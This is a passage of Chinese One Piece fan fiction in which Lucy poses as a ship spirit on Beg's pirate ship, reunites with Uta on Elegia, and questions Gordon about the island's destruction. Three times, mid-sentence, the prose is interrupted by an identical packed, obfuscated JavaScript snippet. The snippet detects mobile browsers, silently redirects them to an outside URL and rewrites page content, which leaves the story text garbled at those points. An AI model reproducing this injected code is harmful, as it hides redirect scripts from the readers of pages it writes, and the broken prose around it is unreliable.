路希低声吐出两字，同时对它发动了霸王色霸气，一股威压自她体内奔涌而出，强势落在海王类身上。一秒后，对方灰溜溜地游走。 “呼……” 她轻吐出一口气，如果霸气驱赶失败，她就得用果实能力，然而海水天然克制能力者，她多半发挥不出原本的力度。 好在霸气直接赶走了对方，危机解除。海贼们怔怔地看着她的背影，不知是谁先说出了第一句话。 “好、好厉害——”“好帅——” 夸赞声此起彼伏。 路希心安理得地转过身来接受海贼们的崇拜。是的，她就是这么一个很帅气很厉害的人。 “Wer？”贝格茫然地看着这个一头绿，根本看不清样貌的东西。等等，这什么玩意啊？她船上什么时候有这种存在？最重要的是，这个迷之生物，把原本属于她的夸奖都夺走了啊！这其中必定有诈。 贝格怒了，强势质问：“你谁啊！为什么出现在我的船上？” 船长带头质问，船员们也骤然清醒过来，意识到一个问题，异口同声问道：“对啊，你谁啊？！” 路希沉默片刻。 路希转动大脑。 路希掷地有声：“我是——船精灵！” 众海贼：“……！” 贝格：“……！” 甲板上异常的安静，路希做好了出手的准备，这还不信她只能先以武服人接着以情感化了。 一秒、两秒、三秒。 只见贝格忽然变回人身，双膝下跪，痛哭流涕：“对不起船精灵，我之前不是故意踹坏甲板的！还有厨房的大门、船员们的房间、船的栏杆……你一定是来找我算账的吧……呜呜呜哇哇哇……” 贝格一边大哭一边把她释放天性做过的事全都说了出来，唠唠叨叨洋洋洒洒显然不是一时半会能说完的。 路希：“……” 路希听着贝格的忏悔，在此刻确定了一件事。 这艘船肯定不会出现真正的船精灵揭穿她的谎言。 贝格大哭忏悔，她的船员们心痛难忍，抱着贝格与她一起痛哭流涕。 “船精灵，不要骂我们的船长！都是恶魔果实的错啊！” “是啊！她只是受到犬犬果实的影响罢了！我们的船长是个好孩子！” “船精灵你是和我们一路走过来的，你最清楚她不是故意的！” “海军们自己也是世界政府的狗，所以才会看不惯船长，给她这么高额的赏金啊！” 路希思索再三，确信自己刚才是出手帮助她们赶走了海王类，而不是招呼海王类吃掉她们，那么这种对立的状态到底是怎么回事呢？ 路希百思不得其解，只能把一切归结于天才与笨蛋的智商隔阂。她语气凝重地开口：“对不起，我不是狗派。” 甲板再次骤然陷入沉默，几秒后，爆发出惊天动地的喊声。“欸——！” 贝格海贼团的船精灵，怎么会不是狗派啊！难道真的是她们船长的行事惹怒了船精灵吗…… 贝格抽抽噎噎地起身，走到栏杆旁，脸上的泪怎么都止不住。“我知道了……呜呜，我这就……以死谢罪……呜呜呜……船精灵，你自由了！” “船长——不要死——！”“船长——我们来陪你——”“船精灵你现在满意了吧——你是不是猫派的！” “我是毛茸茸派的。”路希一边淡定地回答问题，一边从身上长出藤蔓把这群一个个准备跳海寻死的海贼们抓回来。“狗很好，贝格很好，只是毛不够多。” “什么——？！是毛的问题吗！” 船员震惊了，贝格吐出了一口气，哭也不哭了，泪也不流了，“不是猫派就好。”众所周知，猫派狗派势不两立。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399104|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫派的船精灵必不可能留下身为狗中王者的她。 啊，这群海贼没救了，路希在心里想到。她觉得自己还是继续回到舱底休息比较好。然而贝格扒拉着她不让她走。 “船精灵，你要走了吗？你要去哪里？还会出现吗？船精灵，不要走啊，万一再次出现了刚才那样的海王类怎么办！” 船员跟着贝格一起扒拉她。 “就是啊船精灵，海王类十分明显是鱼派的啊！狗派的我们倘若与它们再度相遇，注定会被打落海底！帮帮我们吧船精灵！” 也许还是从玛丽乔亚去新世界比较好……路希摆脱她们，几个跳跃，利用能力在背后化出植物翅膀，漂浮在空中，自上而下扫视着正在感叹的海贼们。 “不愧是船精灵，能轻而易举地飞起来，做到我们正常人类做不到的事。” 既然她们也认可她是这艘船上的船精灵，那接下去由她掌控这艘船自然不会有意见吧。路希这般想道，随后自然而然地命令起众人做事。 * 航海士、船员、船长（气氛组）各就各位，顺着海流进入深层，穿过最黑的黑暗后，出现在路希眼中的是日光，与海面之上毫无差别的日光。 位于海底一万米深处的鱼人岛，并非笼罩在漆黑的环境之中，反而，由于阳树夏娃的存在，高空之上的日光透过它传递到大海深处，照亮这片空间。 路希站在甲板上，远远地看向那颗巨树，直至进入鱼人岛才收回视线。 除却岛上的居民都是人鱼或者鱼人，鱼人岛与其它岛屿看起来并无特别大的差异。来鱼人岛的海贼自然不止贝格海贼团，亦有其它海贼来到此处，但无论在伟大航路前半段有多声名狼藉，来到鱼人岛的海贼皆不敢闹事，因为这是四皇白胡子的领地。 属于白胡子的旗帜高高悬挂在岛屿上。 想在新世界混下去，有些人是不能惹的。 “船精灵，我们去玩吧！” 贝格热情地招呼路希。 “我是船精灵，要守船，不能轻易离开。” “诶——怎么这样！” 通常情况下，路希不会拒绝这种请求，但如今她不是为了游玩来到鱼人岛，也不准备在此处久留，为了防止自己克制不住好奇心，她果断选择拒绝，并且督促道：“你们也是，不要在这里停留太久，别忘了我们的目的。” 贝格鼓起脸颊：“百兽海贼团这种东西随便他们啦！我要跟人鱼玩！要跟人鱼玩！” 路希放出大招：“是嘛……人鱼，听上去很不错，说不定我会留在这里，成为忠诚的鱼派。” 贝格：“……！”这种事情她绝对不允许！贝格海贼船的船精灵只能是狗派！贝格顿时面色沉重起来，手一挥：“小妹们，快速速把鱼人岛上的特产打包一份带走，我们要去新世界啦！” 万恶的人鱼们，居然想拐走她的船精灵。她绝对不会让船精灵下船，她自己也不会下船的。 路希轻松一笑，拿捏笨蛋，就是这么的简单。看在她们的听话程度上，她到时候说不定会考虑把她们收编进海军，而不是投放去监狱。 贝格海贼团在鱼人岛甚至没有待过半日，简单的补充了物资便马上启航。路希心情愉悦的站在船首，贝格闲得要死，在她身后忍不住一直戳戳她的藤蔓头发，到最后发展到上嘴咬尝尝咸淡。作为对贝格见不到人鱼的补偿，以及听话的奖励，路希大方地任由对方啃咬自己的藤蔓头发。 船只不断上浮、上浮，离开鱼人岛，穿过黑暗，如同来时路，被海流送往新世界。 而在她尚未踏足的鱼人岛，范德·戴肯九世一如既往的将自己的追求礼物投掷进人鱼公主的居所，年幼的公主蜷缩在床上忍住哭泣，告诉自己要坚强。人鱼咖啡店的店长夏莉不可置信地看着水晶球展现出来的新预言。 “范德·戴肯九世注定会死，而公主将会游向广阔的海平面之上。” 61.艾蕾吉亚 路希沐浴着阳光，头上开着一簇簇花，贝格看呆了，送报鸥落在她的船精灵头上，往甲板上丢下一份报纸。 船员们争先抢着在船长回过神之前拿到报纸，毕竟贝格最烦字多的东西，时常会控制不住自己咬碎它们。 路希伸手从送报鸥先前落下的地方拿下一个永久指针，戴在手腕上。 贝格神色好奇，跑过去嗅嗅：“这是什么？” 路希淡定自若回答：“是汪汪汪汪。” 贝格茫然了：“诶？” 航海士走了过来，“这不是永久指针吗？船长……你已经把我教给你的东西全忘光了吧。” 贝格觉得莫名其妙，她是狗王，学这么多人类的东西干什么，没劲。贝格兴致缺缺地走开了。 航海士看着路希手上的永久指针，不确定地问：“这是，刚才的送报鸥送过来的？” 咦，好奇怪啊。航海士心中不由自主地产生疑惑，送报鸥一般不是只送报纸吗？今天怎么还多了额外业务。 路希说：“我听到了声音。” “声音？” “那道声音说‘汪汪汪汪’，然后送报鸥就出现，给了我这个。” 航海士的眼神中顿时流露出智慧的光芒。“我明白了、我明白了！这一切都是狗狗之神的指引啊！所以才会落到您的手中，好，不需要继续犹豫了！我们接下去就顺着永久指针航行！” 路希其实挺想知道她明白了什么，毕竟这个通往艾蕾吉亚的永久指针是她让摩尔冈斯整来的，至于报酬依旧是画个大新闻的大饼。 不过倘若接下去没什么消息可以给他，画大饼这招恐怕不再好使。 哎，把摩尔冈斯拐成家养鸟的目标仍然任重而道远啊。 路希提醒道：“百兽海贼团。” 航海士不屑地嘁了一声，“我报纸上看过消息，他们的老大都不是狗，区区青龙。” 路希：“……” 这难道就是信仰的力量吗，连四皇都能不放在眼中。但这样也好，路希很欣慰，这样正好省下了劝说她们改变航道的功夫。她原本就想先去探查乌塔的踪迹，于是她把永久指针从手腕上摘了下来，递给航海士。 “这这这这这、狗狗之神降下的神迹，我真的佩戴上吗？！” 航海士颇有些手足无措，不知如何是好。路希语气严肃，“汪。” 航海士泪流满面，接过永久指针，“我明白了、我彻底明白了啊！” 路希：“……” 所以你到底是明白了什么啊！可恶，她绝对不能被这份智商感染！ 航海士回到人群中，冲着她的同伴们嘀嘀咕咕说着话，路希默默用藤蔓捂住耳朵，她一点都不想听是在说什么。 贝格海贼团就这样改变了航行的方向。一路上经过迷之混乱海洋涡流，天降超级大冰雹，晴天霹雳闪电当空，海兽的突然袭击，其他海贼团的狞笑攻击等等天灾人祸，总之，在贝格和她的船员们一路狂吼着“可恶，不要小瞧船精灵对我们的羁绊啊！她会帮我们碾平所有问题与困难！”的喊声中，终于成功抵达目的地。 途中一度让路希思考起自己在船上的定位。普通的船精灵能做到吗？根本做不到！她是独一无二史上最伟大的船精灵啊！ 直到看到艾蕾吉亚的海岸时她才清醒了点，不对，她的梦想是当世界之王来着。 路希摆着酷酷的脸下了船，虽然在伪装状态下，其她人根本看不见她的脸，更不用说什么神情了。不过她一直秉持着态度很重要。 曾经名声响彻世界的音乐之都艾蕾吉亚如今一片荒凉。 这荒凉并非指的是土地贫瘠，水流干涸，植物枯萎，而是毫无人气。明明岛上依旧留存着一大堆人造建筑，但却看不见一个人类的身影，也听不到任何人声，房屋的墙壁上爬满了绿藤，艾蕾吉亚是一个死去的国家。 摩尔冈斯在路希说要去艾蕾吉亚时又专门去翻找了一遍过去的报纸，告知她新消息，当时岛上的人并未全灭，还有两个幸存者。只是后续动向未知，或许依旧留在岛上，或许早已离岛开启新的生活。 报纸上并未记录活着的两个人名字与样貌，只是简单说了一句他们很好运。 路希在海岸边眺望着远方的城镇，贝格化身为米格鲁犬形态，一边嚎叫着一边狂奔，先前这段日子一直待在船上，都没什么运动的机会，还不能当着船精灵的面损坏船只，她可憋死了。 现在终于踏上了陆地，她要自由探索！ 航海士和其她船员则拿着颜料在海岸上涂涂画画，在做赞颂狗狗之神的迷之仪式。 路希远离了她们，这艘船的人已经没救了。 贝格跑向了城镇。 路希原地做了一会伸展运动，解除伪装船精灵的状态，变回原来的样子，接着运用果实能力在背部变幻出植物之翼。 她飞向城镇，飞到空中，居高临下地望着底下破败的小镇。路希深呼吸一口气，倏然大声喊道：“乌——塔——” “乌塔乌塔乌塔乌塔乌塔——！” “乌塔——！” “你在这里吗——？！” 乌塔正唱出第一句歌词，旋律的走向却被另一道女声强势打乱。 【乌塔。】 有人在叫她。 戈登弹奏钢琴的手指停了下来。 【乌塔。】 并非是她的幻觉。 【乌塔。】 这声音如此熟悉如此充满生气，裹挟着过往的记忆穿透音乐教堂的墙壁骤然闯进她的世界里。 “路希……” 风车村小小的码头上，她从香克斯的船上下来，看见的第一个人是满眼好奇的黑发女孩。 ——你们是海贼吗？要来征服风车村吗？ 她玩性大起，假意恐吓。 ——是啊！我们是声名远扬的大海贼，非常非常可怕，快快把你的财宝交出来。 女孩捧腹哈哈大笑。 ——你在说谎。 ——我才没有。 ——我是路希，是天底下最最聪明的人，你骗不了我的。 香克斯走到她的身边，手轻轻抚摸她的头，语带笑意。 ——怎么了，乌塔？交到朋友了吗？ 这就算朋友吗？她不知道，她一直都是在香克斯的船上长大，长期飘泊在大海，就算偶尔登上岛屿，也很少久留。直到抵达风车村，香克斯在这里待了很久。 她遇到了第一个同龄同性别的玩伴，好奇妙的新奇感受如云朵般环绕住她，灵魂飘飘浮浮，歌词与旋律一句接着一道诞生其中。 海贼与歌唱家。天才与野心家。没有血脉牵扯也可以成为的姐妹。她的好友，她的妹妹。玛琪诺的酒馆里她们一同学过如何榨橙汁，接着比赛谁能第一个做到一饮而尽成为冠军。村长举着掉落的屋顶瓦片冲她们嚷嚷，玩抛接球时不小心让球落在了他的家上。海鸥落在歌唱的她身前，路希拾起散落的花瓣重新在她面前洒下为其喝彩。 她离开风车村到达艾蕾吉亚的时候心想，这次要带点什么回去。 她看见艾蕾吉亚的岛上有风车村未见过的水果，可以买一些带回去让玛琪诺榨成新鲜果汁。商店里摆放着各种乐器，也带几个回去看看路希有没有兴趣学习吧。路过广场时有鸟儿喊出第一声啼叫，女人们忽然和声轻唱，旋律仿佛铭刻在古老的基因中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403927|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一代代传递下来。其中一个女人伸出手，另一个女人握住她的手，舞步踢踢踏踏，歌声逐渐高昂有力，穿透云霄。她不由自主地走到女人们身旁，加入她们，一首接着一首，从广场到舞台，从舞台到教堂。 气力耗尽，她躺倒在地，大地接住她的身躯，风拂过那些草叶，歌声继续。 后来一切都结束，这里安静地仿佛从未有人踏足。只有她知道，那些跳舞的歌唱的人全部死掉。生命断绝。 大地成为了她们的坟场。 而她的父亲丢下了她，将她单独一人留在这里，陪伴她的只有一个相识不久，称不上熟悉的男人。她全心全意抱持信赖的对象丢下了她，炮弹声轰鸣，落在艾蕾吉亚。 她本来所见到的一切，所记录到的一切，所学会的一切……都是准备带回风车村的。 手中的乐谱被她捏皱，扔在地上，乌塔奋力奔跑。 “路希……” 声音颤抖着，脚步慌乱着。 不要走、不要走，她在这里，就在这里，再继续叫下去，继续叫出她的名字啊。 她推开教堂的大门。 在这绿意弥漫的墙壁之下，在这破败龟裂的道路之上，在这埋葬着无数尸骨的亡者之地，在这总是寒意刺骨的空气中—— “乌塔——！” 那道呼唤她的声音再度出现。 乌塔看向高空，泪流满面：“路希——我在这里——！” 于是那道身影，在高空盘旋的身影，停了片刻。随后锁定目标，如同炮弹般带着不可阻挡的气势朝她袭来。乌塔张开双手，丝毫不惧会被撞飞的可能性，她在边哭边笑：“路希……” 而这颗炮弹在即将接近她时却倏然慢了下来，气势消弭无踪，路希像是一根羽毛，轻飘飘的落地。 她变了个魔法，身后的植物之翼化作一片片花瓣从空中洒落，像是降下一场花雨。花雨中，路希带着笑意，“我找到你了，乌塔。” 乌塔双手紧紧捂住嘴巴，似乎是想掩盖住她疯狂的笑声和哭泣声。那太难听了，那太难看了，她在她面前不应该是这样的人啊，她一直都是那样子的——自信的，胸有成竹的，大笑的存在。 怎么可以……脆弱成这个样子…… 路希很认真地注视着她，上前一步。 乌塔后退一步。 于是路希停止动作，就这样静静看着。树影斑驳，花朵洒满一地，乌塔的影子摇摇晃晃。 有鸟群从远方的树枝上飞起，叽叽喳喳叫嚷。啼叫声清脆。 周而复始的一切……仿佛即将到达它的终点。 于是她想，终于要结束了。 在这片除却她与戈登之外，再无人类存在的土地上，在那场毁灭性的灾难过后，在那些一天天都是如此寂静到令人恐惧的日子里，她看到绿藤吞噬房屋，雨水侵蚀路面，亡魂徘徊不散，她的影子正一点点被更巨大的阴影吞没，而在那之前，路希找到了她。 她的灵魂与歌声不会在这片土地之上继续空虚的游荡，她的灵魂回归自身，歌声将会坚定有力。乌塔擦干眼泪，笑着看向路希：“路希，你找到了我。” “要来个久别重逢的拥抱吗？” 乌塔伸开双臂，“过来，路希。” 路希扑进她的怀中，乌塔怀抱住她。她身体所感受到的心跳声不再是单独一人所响起的，阳光有了切实的暖意，人类的体温从怀中这具真实的躯体传递到她的身上。万籁俱寂，唯有彼此的呼吸声交缠。古老的，久远的歌声再度被唤醒，在她血液中流淌。 此刻，三年的孤寂时光在这个拥抱中破碎，零零散散落在地上，骤然燃起火苗，将它们化为灰烬。 62.艾蕾吉亚 有奔跑声。 急促的、啪嗒啪嗒，落在地面上。 贝格从地上一跃而起，嘴巴咬住兔子的耳朵不放。 “诶、什、什么情况？” 兔子开口说话了，带着慌乱的气息。 贝格眨巴眨巴眼，嘴巴喊着兔子的耳朵不放，发出呜咽声。 “贝格……从乌塔身上下来。” 一道和船精灵极为相似的声音响起，贝格循声望去，没见过的陌生人。陌生人盯着她，贝格动了动鼻子，船精灵的味道。船精灵变成了人类。 贝格思考了片刻，理解了一切。她对着路希说道：“兔子。” 船精灵很是无奈地叹口气，回她：“这不是兔子，这是乌塔的头发。” “狗？！狗说话了？！路希，你认识吗？” 女声颇为不知所措，贝格缓缓转动脑子，肯定道：“是兔子的精灵。” 船精灵笑了一下，下一秒，贝格被绿色的藤蔓高高提起。路希把贝格举到自己身前，为她们互相介绍道：“乌塔，这是贝格，犬犬果实能力者，思考回路比较狗性化。贝格，这是乌塔，是我的姐姐，一名音乐家。” 船精灵的姐姐？贝格肯定道：“果然是兔子精灵。” 意识到对方并非变异的动物，而只是一名恶魔果实能力者后，乌塔心情明显放松了下来，不再如先前那般慌张。她多少有点好奇意味地望着贝格，不确定问道：“兔子精灵……是因为我头发的造型吗？” 贝格命令道：“变回去。” 乌塔斟酌着语句：“……这个，恐怕不太可能。” 不如说，她要变回什么样子啊。 路希敲了一下贝格的脑袋，命令道：“你才要给我变回去。” 贝格不满地“Wer”了一声，路希把贝格放在自己头上用藤蔓束缚住，贝格挣扎了一下没成功，无精打采趴下，嘟囔着：“船精灵，坏的。船精灵，不好的……” 乌塔忍不住笑了出来，“船精灵，是指你吗？路希，你什么时候变成了船精灵？而且，刚才那些事你是怎么做到的？你也吃了恶魔果实吗？” 这说来倒不话长，只是不适合在贝格面前解释，而且……路希偏头，看向教堂，“那个躲在里面的人，我已经发现你了，出来吧。” 乌塔这才像想起什么，顺着路希的视线望去，嘴里念道：“戈登……” 路希打量着这个被乌塔称作戈登的男人。这是一个身材细长高大的老人，秃头，戴着墨镜，有着十分明显的双峰下巴，穿着得体的衣服，只是从面料上看有些泛旧。 艾蕾吉亚的存活人数仅有两人，如果其中一个是乌塔，那另一个显然便是这名男人。 戈登犹豫了一会，缓缓走出来，介绍自己：“我……是戈登，是艾蕾吉亚的国王，也是乌塔目前的养父。” 他并不陌生路希这个名字，在最初的几个月，乌塔的情绪十分不稳定，但又不希望他为自己担心，时常故作活泼说些以前的事。那些事情中有关香克斯的事不能说，毕竟是毁灭艾蕾吉亚的罪魁祸首，于是说来说去，最多的是在一个小小的风车村的故事。那里有一个叫路希的女孩，有一个叫路飞的男孩，酒馆的老板是一个叫玛琪诺的温柔女性……但到后来，她似乎终于接受了这座岛屿已经彻底毁灭，不会再有其它船只到来，也没有离去的机会。于是她不再谈论那些，只是沉默地练习乐器，编制乐谱。 戈登只是没有想到乌塔曾经提起过的人会来到这座岛。没有谁会费尽心思穿越这样一片艰险的海域来到一座灭亡的岛屿只为寻找一个人。 他的心情十分复杂。 路希大大方方地介绍自己：“路希，乌塔的好友与姐妹。” 戈登问道：“你是怎么来到这里的？” 艾蕾吉亚没有造访的价值，不管是旅游还是贸易，通往这座岛屿的商船路线已经被划去了。 路希坦然道：“坐船啊，贝格的船。”她指了指头上的小狗。 乌塔拍拍手，像是突然间想起了什么，打断了戈登与路希的对话，握住路希的手，兴致勃勃说道：“戈登，路希，我们今晚来举办宴会吧。” 她迫不及待，仿佛想将什么驱赶出去，一句说完立马接着另一句。 “有水果汁，你在风车村没喝过的，我会去摘一些水果回来。岛上的水果最近长势不错。贝格刚才提到兔子了吧，我们没有饲养兔子，不过这里环境很好，我也经常会看见小动物跑来跑去，我们可以一起去抓几只烤来吃，像以前在村里抓野猪那样。” “对了，说到抓野猪，路飞没来呢？戈登，以前我们三个会经常这样一起行动，”她看向戈登，快速说完了这句话，又重新看着路希，“算了，这种事情不重要，你带着新朋友到这里来了呢。” “路希，我好高兴——” 乌塔再次用力拥抱住路希，语调愈发激动，有失控的倾向。 “你今晚会留在这里睡的，对吧？绝对会的。我们可以睡在同一个房间，睡一张床。贝格也可以一起来，我们要开女孩派对——耶，我好高兴，我不是在做梦吧？捏一下我，好痛！你真的来了，路希。” 路希听到了一闪而过的哽咽声。 “来举办宴会吧，我们要唱歌，我们要跳舞，我们要说好多好多话。虽然艾蕾吉亚现在成了这种样子，但是它以前完全不是这样的！我都还记得，也有用本子记录下来，我会讲给你听的，你也要告诉我很多事，那之后风车村怎么样了，你怎么样了，发生了什么事，你都要告诉我。” “路希……不要太快离开这里，好吗？” 直至最后，话里忽然多了些恳求的意味，轻得恍若棉絮，随时能随风而去。路希反握住乌塔的手，奇怪道：“你不跟我走吗？” 比起怔住的乌塔，戈登的回答来得更快。 “不行。” 路希看了一眼这个莫名其妙的老头，她们姐妹聊天，男的插什么话。 察觉到对方的视线，戈登有些焦急，但又不能明说，乌塔不可以离开这里。 乌塔这时也回过神来，她听到了戈登斩钉截铁的回答。乌塔没有直接回答路希的问题，神色黯淡一瞬，接着又马上提起精神：“先不要讨论这些，我们去抓兔子吧，贝格，贝格？” 贝格懒洋洋打了个哈欠，兔子精灵刚才叽里咕噜说了一大堆没用的东西，把她都听困了，直到听到最后一句才提起精神。她大力用爪子拍着路希的头，示意对方该把自己放下来了。“船精灵，船精灵，抓兔子！” 路希不准备这么急着去抓，在此之前她恐怕有些事情要跟戈登谈谈。不过，得先暂时跟乌塔分开来。 她开口说道：“贝格还有一些伙伴在岸边休息，我们可以把她们叫过来，一起抓兔子，一起摘水果，食物大丰收，宴会也会变得更加热闹。” “还有人来吗？！太好了，有多少人？我写了不少新歌，可以唱给你们听。戈登，你快去做宴会的准备吧！我要和路希一起去迎接客人！” 乌塔心情明显又提升了一些，路希也适时对戈登说道：“是啊，戈登，麻烦你了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422165|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戈登：“……好吧，但是你们不要跑太远，跑到太深处，这里许久没人生活，有些地方会很危险。” 贝格认为戈登在挑衅自己。 “你看不起我！” 戈登不清楚自己哪里激怒了对方，有些茫然。乌塔被逗笑了，“他没有那种意思，贝格。他是让我们……对了，是让我们不要跑到太里面去抓兔子，因为兔子不会跑那么远，我们跑很深处的地方去就抓不到兔子吃了。” 贝格思考了会，觉得乌塔说得也挺有道理。“是哦，兔子很胆小，很会跑。” 乌塔的神色柔和下来，对路希建议道：“让我抱抱贝格吧，路希？这样一直在你头上，会很累吧。” 路希倒是没什么特别感觉，毕竟在船上贝格时不时就跑来啃她头发，在她安静晒太阳的时候趴她头上睡觉。不过乌塔想要抱贝格，她自然不会拒绝。 贝格被递交到乌塔手中。然而就在路希收回藤蔓的一瞬，乌塔感到手骤然一重，随后又轻了下去，一道身影如飞鸟般从她头上急速掠过。 “哈！”贝格恢复人身，乌塔看到一个黑色短发的少年站到她们不远处，与米格鲁犬形态相比，此时的贝格更显凌厉。她一副得意洋洋的神情，“你们可抓不住我，我才不要一直被人抱着走！” 乌塔有些讶异地睁大了眼，“贝格……？” 贝格自信道：“当然是我！” 乌塔在下一刻又笑了出来。“你好高，我以为你会更加的……唔……” 贝格十七岁，身高一米八，如果说犬形态更多展现出来的是可爱的一面，那么人形态则是野性的一面居多。不过不管哪个形态，倒是都具备着唯我独尊，毫不关心她人的性格。 “你好奇怪啊，老是哭哭笑笑。” “抱歉，吓到你了吗？” “说什么蠢话，我可是贝格大王！” “贝格大王，你到底要不要抓兔子，然后吃兔子？” 路希的提问直指贝格的心，贝格当即放下其它一切问题，喊道：“要！”她挠了挠脸颊，“找芙丽那她们还要跑回去，好麻烦啦，我要先去抓兔子！” 她就要跑，路希却叫住她：“等一下。” 贝格脸上露出痛苦的神色，却没有跑走，留在原地问道：“还有什么！”对于船精灵，她一向保持着基本的尊敬，主要原因是打不过。 “抓兔子不应该带上兔子精灵才能抓到更多吗？” 乌塔怔道：“诶？” 贝格双眼一亮：“船精灵，我喜欢你。兔子精灵，我爱你。”她表达感情一向是很直接的。 贝格几个跳跃，重又回到乌塔旁边，直接将对方夹在胳膊下抱起来。 “诶诶——” 乌塔还没反应过来，下一秒便看到自己的视野骤然扩大——贝格带着她高高跳到了半空，随后落下去，再度跳起。等她消化完发生的事情时候后，路希早已离她有了不远的距离，只有遥遥的喊声，“要玩的开心哦，我去找芙丽那她们，之后跟你们汇合。” 芙丽那是航海士的名字。 虽如此喊道，路希并未第一时刻走向海岸，而是看向一直在围观的戈登。 戈登也意识到目前的情况，这里只剩下她们两个人。这本是他所希望的，然而他忽然又有些犹豫，当年的事情究竟要如何解释，才能让这个叫路希的女孩放弃带走乌塔。 路希看向戈登，没与对方说什么废话，召出来的植物变幻成利剑的形状，架在戈登的脖子上。她命令道：“现在告诉我，艾蕾吉亚究竟因何毁灭。” 63.艾蕾吉亚 戈登脸色一变。 与先前同乌塔交谈时不同，眼前的女孩展露出了毫不留情的攻击性，倘若拒绝回答，他毫不怀疑这柄剑会刺中他。然而她未必能承受得起真相。 “你在想些什么？” 路希发问，利剑离他的脖子近了几分，隐有不耐之意。 戈登与对方僵持片刻，随后，他组织好语言，问道：“你有这个决心承受住真相吗？” 他一说出这句话，路希心内已然明了，她嗤笑一声，“那么显然，毁灭艾蕾吉亚的并非香克斯。” 戈登一时默然无语，他深深叹息，说道：“是的，毁灭艾蕾吉亚的从来不是红发海贼团。但那仍然是一个你熟悉的人。” “我不喜欢这种遮遮掩掩的对话，何况我不是为了承受真相前来，我来此只为带乌塔离开。如果你有话要说，现在就说出来，否则我不会再听。而不管你如何阻止，我都要带走乌塔。” 戈登终于不再纠结。 “就算毁灭艾蕾吉亚的是乌塔呢？你要带走她，又能带去哪里？她的能力……很危险！” “你指歌歌果实？” “这个世界上，有一个可怖的怪物，它名叫托特姆吉卡，只有歌歌果实能力者能将其召唤出来。然而——它只为了毁灭而存在。”戈登一口气将真相倾泻而出，“艾蕾吉亚封存着召唤这个怪物的乐谱，三年前，乌塔来到这里，她的歌声俘获了托特姆吉卡，乐谱逃离封印，来到她的面前。” 戈登语气悲痛起来。 “乌塔什么都不知道……但是她，唱出了乐谱上的曲子，解放了托特姆吉卡。她的意识被托特姆吉卡控制，红发海贼团尽了全力，撑到乌塔耗尽体力陷入昏睡。可岛上的人，还是全部死亡……那个孩子不能离开这里，歌歌果实的能力实在太危险了。” 路希刷新了一下世界观，恶魔果实的能力超乎她的想象。接着她从戈登的话中提取出重点。 “所以乌塔毁灭了艾蕾吉亚，香克斯为了保护她，决定承担所有骂名。然后他把乌塔丢在这里，和你，这个艾蕾吉亚的国王放在一起生活？” “……是。” 路希再次不确定地问了遍：“你是艾蕾吉亚的国王？” 戈登点头：“是。”他犹豫了会，接着说道，“我知道你想问些什么，乌塔毁灭了我的国家……若说我没有心怀芥蒂，那确实很虚伪。可是，那孩子的歌声太美妙了，你一定也听过的。我作为一名音乐家，实在是深深折服……何况，真正的罪魁祸首是托特姆吉卡。” “你的国家确实因乌塔的原因毁灭，所以我不能直接评价你。”路希回道，“不过，我认为香克斯的问题更大一些。” 把女儿放在一个与她有灭岛之仇的男人身边照顾，路希确实没法理解香克斯的脑回路。而且还是放在这么一座只有两个人生存的孤岛上，同时又无法得到与外界的联络方式，戈登即便能在衣食住行上照顾好乌塔，但显然无法与她进行更深层次的精神交流。 那就不奇怪了，她想，乌塔先前的精神状态与当初在风车村那会有很大的变化，虽然对方极力掩盖，但是，她能仍察觉出来，乌塔很害怕她离开。 乌塔不清楚真相，能了解到的是香克斯毁灭了艾蕾吉亚，并将她丢在这里，与刚认识没几天的老头相处。 路希没法代入这种绝望感，因为她没体验过。不过她知道乌塔很喜欢香克斯，因为对方一直说的是，红发海贼团的音乐家。所以她多少为乌塔感到有点难过。不管如何，直接把乌塔留在这里，绝不是最好的解决方法。 对方的精神状况已经出了点小问题，再继续待在这里，路希简直不敢想。然而乌塔明显有心结，至于戈登的阻止？她纯粹当没听见。 “所以你们为什么不离开？那天晚上有海军的军舰来到附近吧，要走的话也是可以走的。” 戈登一时很难回答这个问题，路希咄咄逼问。 “因为你是国王，所以还对这座岛屿有所留恋，不愿离开吗？这点我也能理解，不过你刚才是不是还说了，乌塔的能力很危险？” “你觉得害怕吗？你是真心想照顾她的吗？还是由于这是红发海贼团交托给你的任务，你实在不好拒绝？你真的爱乌塔吗？既然如此，那你也知道，留在这里，对她绝不是最好的选项。” “就连刚来的我都能察觉到她的状态不对劲，这三年你亲自看着她成长，自然清楚她的心理产生了多大的变化。可即便这样你依旧认为她应当留在这里，为什么？你是想复仇吗，戈登，用这是为了她好的理由？” 